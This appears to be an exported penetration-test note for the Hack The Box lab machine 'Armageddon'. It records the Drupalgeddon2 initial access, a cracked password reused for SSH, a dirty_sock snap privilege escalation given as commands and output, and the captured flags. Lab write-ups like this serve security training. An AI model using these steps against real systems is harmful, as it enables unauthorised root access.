Host Report

10.10.10.233 - Linux 3.2 - 4.9

Linux - Shelled - Owned

Host Notes:

[brucetherealadmin@armageddon ~]$ cat user.txt
ea93e131e64870e46742d2529f16b4b7

[root@armageddon ~]$ cat root.txt
root.txt = 603c3c39aeea3ceef1926821a548df3e

Ports:

Port
22

Port Notes:
After SSH'ing to the box as brucetherealadmin, we check the sudo privileges and see the account can utilize sudo without a password on snap install *

Using https://github.com/initstring/dirty_sock, we craft our privilege escalation.
[brucetherealadmin@armageddon ~]$ python3 -c
'print("aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAD/////////xICAAAAAAAAsAIAAAAAAAA·
+ "A"*4256 + "==")' | base64 -d > installation.snap

[brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --devmode installation.snap
[brucetherealadmin@armageddon ~]$ su dirty_sock

Password: dirty_sock
[dirty_sock@armageddon ~]$ sudo -l
[Shortened for brevity]
User dirty_sock may run the following commands on localhost:
    (ALL : ALL) ALL

Port

[dirty_sock@armageddon ~]$ sudo /bin/bash
Root Shell Acquired

```
[dirty_sock@armageddon /]$ sudo /bin/bash
[sudo] password for dirty_sock:
[root@armageddon /]# whoami
root
[root@armageddon /]# hostname
armageddon.htb
[root@armageddon /]# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.233  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 fe80::7648:5ea1:5371:b3b5  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:3a:c0  txqueuelen 1000  (Ethernet)
        RX packets 104032  bytes 9909968 (9.4 MiB)
        RX errors 0  dropped 18  overruns 0  frame 0
        TX packets 93477  bytes 19457831 (18.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 442  bytes 43132 (42.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 442  bytes 43132 (42.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

[root@armageddon /]# cat /home/brucetherealadmin/user.txt
ea93e131e64870e46742d2529f16b4b7
[root@armageddon /]# cat /root/root.txt
603c3c39aeea3ceef1926821a548df3e
[root@armageddon /]#
```

[brucetherealadmin@armageddon ~]$ cat user.txt
ea93e131e64870e46742d2529f16b4b7

[root@armageddon ~]$ cat root.txt
root.txt = 603c3c39aeea3ceef1926821a548df3e

53
67
68
69
80

Port

Port Notes:
Autorecon finds Drupal 7 running on this server.
"script": [
- {
- "$": {
"id": "http-generator",
"output": "Drupal 7 (http://drupal.org)"
git clone https://github.com/dreadlocked/Drupalgeddon2 allows us to attack Drupal and gain a minor shell. Checking the settings.php page we find crede
Logging into mysql, we can get the users table of the Drupal Database and get the hash and run it through hashcat for brucetherealadmin:booboo
 	
Password Reuse allows us to SSH to the machine.

123
135
137
138
139
161
162
445
500
514
520
631
1434
1900
4500
49152